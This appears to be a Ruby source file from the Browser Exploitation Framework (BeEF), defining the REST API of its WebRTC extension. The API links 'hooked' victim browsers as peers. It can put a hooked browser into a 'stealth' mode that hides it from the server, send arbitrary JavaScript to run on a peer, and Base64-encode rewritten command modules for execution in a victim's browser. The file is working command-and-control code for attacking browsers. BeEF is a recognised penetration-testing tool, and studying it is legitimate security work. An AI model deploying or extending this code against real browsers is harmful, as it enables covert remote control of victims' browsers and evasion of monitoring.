#1# Copyright (c) 2006-2025 Wade Alcorn - [email protected]2# Browser Exploitation Framework (BeEF) - https://beefproject.com3# See the file 'doc/COPYING' for copying permission4#5module BeEF6module Extension7module WebRTC8require 'base64'910# This class handles the routing of RESTful API requests that manage the11# WebRTC Extension12class WebRTCRest < BeEF::Core::Router::Router13# Filters out bad requests before performing any routing14before do15config = BeEF::Core::Configuration.instance1617# Require a valid API token from a valid IP address18halt 401 unless params[:token] == config.get('beef.api_token')19halt 403 unless BeEF::Core::Rest.permitted_source?(request.ip)2021headers 'Content-Type' => 'application/json; charset=UTF-8',22'Pragma' => 'no-cache',23'Cache-Control' => 'no-cache',24'Expires' => '0'25end2627#28# @note Initiate two browsers to establish a WebRTC PeerConnection29# Return success = true if the message has been queued - as this is30# asynchronous, you will have to monitor BeEFs event log for success31# messages. For instance: Event: Browser:1 received message from32# Browser:2: ICE Status: connected33#34# Alternatively, the new rtcstatus model also records events during35# RTC connectivity36#37# Input must be specified in JSON format (the verbose option is no38# longer required as client-debugging uses the beef.debug)39#40# +++ Example: +++41# POST /api/webrtc/go?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.142# Host: 127.0.0.1:300043# Content-Type: application/json; charset=UTF-844#45# {"from":1, "to":2}46#===response (snip)===47# HTTP/1.1 200 OK48# Content-Type: application/json; charset=UTF-849#50# {"success":"true"}51#52# +++ Example with verbosity on the client-side +++53# POST /api/webrtc/go?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.154# Host: 127.0.0.1:300055# Content-Type: application/json; charset=UTF-856#57# {"from":1, "to":2, "verbose": true}58#===response (snip)===59# HTTP/1.1 200 OK60# Content-Type: application/json; charset=UTF-861#62# {"success":"true"}63#64# +++ Example with curl +++65# curl -H "Content-type: application/json; charset=UTF-8" -v66# -X POST -d '{"from":1,"to":2,"verbose":true}'67# http://127.0.0.1:3000/api/webrtc/go\?token\=df67654b03d030d97018f85f0284247d7f49c34868post '/go' do69body = JSON.parse(request.body.read)7071fromhb = body['from']72raise InvalidParamError, 'from' if fromhb.nil?7374tohb = body['to']75raise InvalidParamError, 'to' if tohb.nil?7677verbose = body['verbose']7879result = {}8081if [fromhb, tohb].include?(nil)82result['success'] = false83return result.to_json84end8586if verbose.to_s =~ (/^(true|t|yes|y|1)$/i)87BeEF::Core::Models::RtcManage.initiate(fromhb.to_i, tohb.to_i, true)88else89BeEF::Core::Models::RtcManage.initiate(fromhb.to_i, tohb.to_i)90end9192r = BeEF::Core::Models::Rtcstatus.new(93hooked_browser_id: fromhb.to_i,94target_hooked_browser_id: tohb.to_i,95status: 'Initiating..',96created_at: Time.now,97updated_at: Time.now98)99100r.save101r2 = BeEF::Core::Models::Rtcstatus.new(102hooked_browser_id: tohb.to_i,103target_hooked_browser_id: fromhb.to_i,104status: 'Initiating..',105created_at: Time.now,106updated_at: Time.now107)108r2.save109110result['success'] = true111result.to_json112rescue InvalidParamError => e113print_error e.message114halt 400115rescue StandardError => e116print_error "Internal error while initiating RTCPeerConnections .. (#{e.message})"117halt 500118end119120#121# @note Get the RTCstatus of a particular browser (and its peers)122# Return success = true if the message has been queued - as this is asynchronous, you will have to monitor BeEFs event log123# for success messages. For instance: Event: Browser:1 received message from Browser:2: Status checking - allgood: true124#125# +++ Example: +++126# GET /api/webrtc/status/1?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1127# Host: 127.0.0.1:3000128#129#===response (snip)===130# HTTP/1.1 200 OK131# Content-Type: application/json; charset=UTF-8132#133# {"success":"true"}134#135# +++ Example with curl +++136# curl -H "Content-type: application/json; charset=UTF-8" -v137# -X GET http://127.0.0.1:3000/api/webrtc/status/1\?token\=df67654b03d030d97018f85f0284247d7f49c348138get '/status/:id' do139id = params[:id]140141BeEF::Core::Models::RtcManage.status(id.to_i)142result = {}143result['success'] = true144result.to_json145rescue InvalidParamError => e146print_error e.message147halt 400148rescue StandardError => e149print_error "Internal error while queuing status message for #{id} (#{e.message})"150halt 500151end152153#154# @note Get the events from the RTCstatus model of a particular browser155# Return JSON with events_count and an array of events156#157# +++ Example: +++158# GET /api/webrtc/events/1?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1159# Host: 127.0.0.1:3000160#161#===response (snip)===162# HTTP/1.1 200 OK163# Content-Type: application/json; charset=UTF-8164#165# {"events_count":1,"events":[{"id":2,"hb_id":1,"target_id":2,"status":"Connected","created_at":"timestamp","updated_at":"timestamp"}]}166#167# +++ Example with curl +++168# curl -H "Content-type: application/json; charset=UTF-8" -v169# -X GET http://127.0.0.1:3000/api/webrtc/events/1\?token\=df67654b03d030d97018f85f0284247d7f49c348170get '/events/:id' do171id = params[:id]172173events = BeEF::Core::Models::Rtcstatus.where(hooked_browser_id: id)174175events_json = []176count = events.length177178events.each do |event|179events_json << {180'id' => event.id.to_i,181'hb_id' => event.hooked_browser_id.to_i,182'target_id' => event.target_hooked_browser_id.to_i,183'status' => event.status.to_s,184'created_at' => event.created_at.to_s,185'updated_at' => event.updated_at.to_s186}187end188unless events_json.empty?189{190'events_count' => count,191'events' => events_json192}.to_json193end194rescue InvalidParamError => e195print_error e.message196halt 400197rescue StandardError => e198print_error "Internal error while queuing status message for #{id} (#{e.message})"199halt 500200end201202#203# @note Get the events from the RTCModuleStatus model of a particular browser204# Return JSON with events_count and an array of events associated with command module execute205#206# +++ Example: +++207# GET /api/webrtc/cmdevents/1?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1208# Host: 127.0.0.1:3000209#210#===response (snip)===211# HTTP/1.1 200 OK212# Content-Type: application/json; charset=UTF-8213#214# {"events_count":1,"events":[{"id":2,"hb_id":1,"target_id":2,"status":"prompt=blah","mod":200,"created_at":"timestamp","updated_at":"timestamp"}]}215#216# +++ Example with curl +++217# curl -H "Content-type: application/json; charset=UTF-8" -v218# -X GET http://127.0.0.1:3000/api/webrtc/cmdevents/1\?token\=df67654b03d030d97018f85f0284247d7f49c348219get '/cmdevents/:id' do220id = params[:id]221222events = BeEF::Core::Models::Rtcmodulestatus.where(hooked_browser_id: id)223224events_json = []225count = events.length226227events.each do |event|228events_json << {229'id' => event.id.to_i,230'hb_id' => event.hooked_browser_id.to_i,231'target_id' => event.target_hooked_browser_id.to_i,232'status' => event.status.to_s,233'created_at' => event.created_at.to_s,234'updated_at' => event.updated_at.to_s,235'mod' => event.command_module_id236}237end238unless events_json.empty?239{240'events_count' => count,241'events' => events_json242}.to_json243end244rescue InvalidParamError => e245print_error e.message246halt 400247rescue StandardError => e248print_error "Internal error while queuing status message for #{id} (#{e.message})"249halt 500250end251252#253# @note Instruct a browser to send an RTC DataChannel message to one of its peers254# Return success = true if the message has been queued - as this is asynchronous, you will have to monitor BeEFs event log255# for success messages, IF ANY.256#257# Input must be specified in JSON format258#259# +++ Example: +++260# POST /api/webrtc/msg?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1261# Host: 127.0.0.1:3000262# Content-Type: application/json; charset=UTF-8263#264# {"from":1, "to":2, "message":"Just a plain message"}265#===response (snip)===266# HTTP/1.1 200 OK267# Content-Type: application/json; charset=UTF-8268#269# {"success":"true"}270#271# +++ Example with curl +++272# curl -H "Content-type: application/json; charset=UTF-8" -v273# -X POST -d '{"from":1,"to":2,"message":"Just a plain message"}'274# http://127.0.0.1:3000/api/webrtc/msg\?token\=df67654b03d030d97018f85f0284247d7f49c348275#276# Available client-side "message" options and handling:277# !gostealth - will put the <to> browser into a stealth mode278# !endstealth - will put the <to> browser into normal mode, and it will start talking to BeEF again279# %<javascript> - will execute JavaScript on <to> sending the results back to <from> - who will relay back to BeEF280# <text> - will simply send a datachannel message from <from> to <to>.281# If the <to> is stealthed, it'll bounce the message back.282# If the <to> is NOT stealthed, it'll send the message back to BeEF via the /rtcmessage handler283post '/msg' do284body = JSON.parse(request.body.read)285286fromhb = body['from']287raise InvalidParamError, 'from' if fromhb.nil?288289tohb = body['to']290raise InvalidParamError, 'to' if tohb.nil?291292message = body['message']293raise InvalidParamError, 'message' if message.nil?294295if message === '!gostealth'296stat = BeEF::Core::Models::Rtcstatus.where(hooked_browser_id: fromhb.to_i, target_hooked_browser_id: tohb.to_i).first || nil297unless stat.nil?298stat.status = 'Selected browser has commanded peer to enter stealth'299stat.updated_at = Time.now300stat.save301end302stat2 = BeEF::Core::Models::Rtcstatus.where(hooked_browser_id: tohb.to_i, target_hooked_browser_id: fromhb.to_i).first || nil303unless stat2.nil?304stat2.status = 'Peer has commanded selected browser to enter stealth'305stat2.updated_at = Time.now306stat2.save307end308end309310result = {}311312if [fromhb, tohb, message].include?(nil)313result['success'] = false314else315BeEF::Core::Models::RtcManage.sendmsg(fromhb.to_i, tohb.to_i, message)316result['success'] = true317end318319result.to_json320rescue InvalidParamError => e321print_error e.message322halt 400323rescue StandardError => e324print_error "Internal error while queuing message (#{e.message})"325halt 500326end327328#329# @note Instruct a browser to send an RTC DataChannel message to one of its peers330# In this instance, the message is a Base64d encoded JS command331# which has the beef.net.send statements re-written332# Return success = true if the message has been queued - as this is asynchronous, you will have to monitor BeEFs event log333# for success messages, IF ANY.334# Commands are written back to the rtcmodulestatus model335#336# Input must be specified in JSON format337#338# +++ Example: +++339# POST /api/webrtc/cmdexec?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1340# Host: 127.0.0.1:3000341# Content-Type: application/json; charset=UTF-8342#343# {"from":1, "to":2, "cmdid":120, "options":[{"name":"option_name","value":"option_value"}]}344#===response (snip)===345# HTTP/1.1 200 OK346# Content-Type: application/json; charset=UTF-8347#348# {"success":"true"}349#350# +++ Example with curl +++351# curl -H "Content-type: application/json; charset=UTF-8" -v352# -X POST -d '{"from":1, "to":2, "cmdid":120, "options":[{"name":"option_name","value":"option_value"}]}'353# http://127.0.0.1:3000/api/webrtc/cmdexec\?token\=df67654b03d030d97018f85f0284247d7f49c348354#355post '/cmdexec' do356body = JSON.parse(request.body.read)357fromhb = body['from']358raise InvalidParamError, 'from' if fromhb.nil?359360tohb = body['to']361raise InvalidParamError, 'to' if tohb.nil?362363cmdid = body['cmdid']364raise InvalidParamError, 'cmdid' if cmdid.nil?365366cmdoptions = body['options'] if body['options']367cmdoptions = nil if cmdoptions.eql?('')368369if [fromhb, tohb, cmdid].include?(nil)370result = {}371result['success'] = false372return result.to_json373end374375# Find the module, modify it, send it to be executed on the tohb376377# Validate the command module by ID378command_module = BeEF::Core::Models::CommandModule.find(cmdid)379error 404 if command_module.nil?380error 404 if command_module.path.nil?381382# Get the key of the module based on the ID383key = BeEF::Module.get_key_by_database_id(cmdid)384error 404 if key.nil?385386# Try to load the module387BeEF::Module.hard_load(key)388389# Now the module is hard loaded, find it's object and get it390command_module = BeEF::Core::Command.const_get(391BeEF::Core::Configuration.instance.get(392"beef.module.#{key}.class"393)394).new(key)395396# Check for command options397cmddata = cmdoptions.nil? ? [] : cmdoptions398399# Get path of source JS400f = "#{command_module.path}command.js"401error 404 unless File.exist? f402403# Read file404@eruby = Erubis::FastEruby.new(File.read(f))405406# Parse in the supplied parameters407cc = BeEF::Core::CommandContext.new408cc['command_url'] = command_module.default_command_url409cc['command_id'] = command_module.command_id410cmddata.each do |v|411cc[v['name']] = v['value']412end413414# Evalute supplied options415@output = @eruby.evaluate(cc)416417# Gsub the output, replacing all beef.net.send commands418# This needs to occur because we want this JS to send messages419# back to the peer browser420@output = @output.gsub(/beef\.net\.send\((.*)\);?/) do |_s|421tmpout = "// beef.net.send removed\n"422tmpout += "beefrtcs[#{fromhb}].sendPeerMsg('execcmd ("423cmdurl = Regexp.last_match(1).split(',')424tmpout += cmdurl[0].gsub(/\s|"|'/, '')425tmpout += ") Result: ' + "426tmpout += cmdurl[2]427tmpout += ');'428tmpout429end430431# Prepend the B64 version of the string with @432# The client JS receives the rtc message, detects the @433# and knows to decode it before execution434msg = "@#{Base64.strict_encode64(@output)}"435436# Finally queue the message in the RTC queue for submission437# from the from browser to the to browser438BeEF::Core::Models::RtcManage.sendmsg(fromhb.to_i, tohb.to_i, msg)439440result = {}441result['success'] = true442result.to_json443rescue JSON::ParserError => e444print_error "Invalid JSON: #{e.message}"445halt 400446rescue InvalidParamError => e447print_error e.message448halt 400449rescue StandardError => e450print_error "Internal error while executing command (#{e.message})"451halt 500452end453454# Raised when invalid JSON input is passed to an /api/webrtc handler.455class InvalidJsonError < StandardError456DEFAULT_MESSAGE = 'Invalid JSON input passed to /api/webrtc handler'.to_json457458def initialize(message = nil)459super(message || DEFAULT_MESSAGE)460end461end462463# Raised when an invalid named parameter is passed to an /api/webrtc handler.464class InvalidParamError < StandardError465DEFAULT_MESSAGE = 'Invalid parameter passed to /api/webrtc handler'.to_json466467def initialize(message = nil)468str = 'Invalid "%s" parameter passed to /api/webrtc handler'469message = format str, message unless message.nil?470super(message)471end472end473end474end475end476end477478479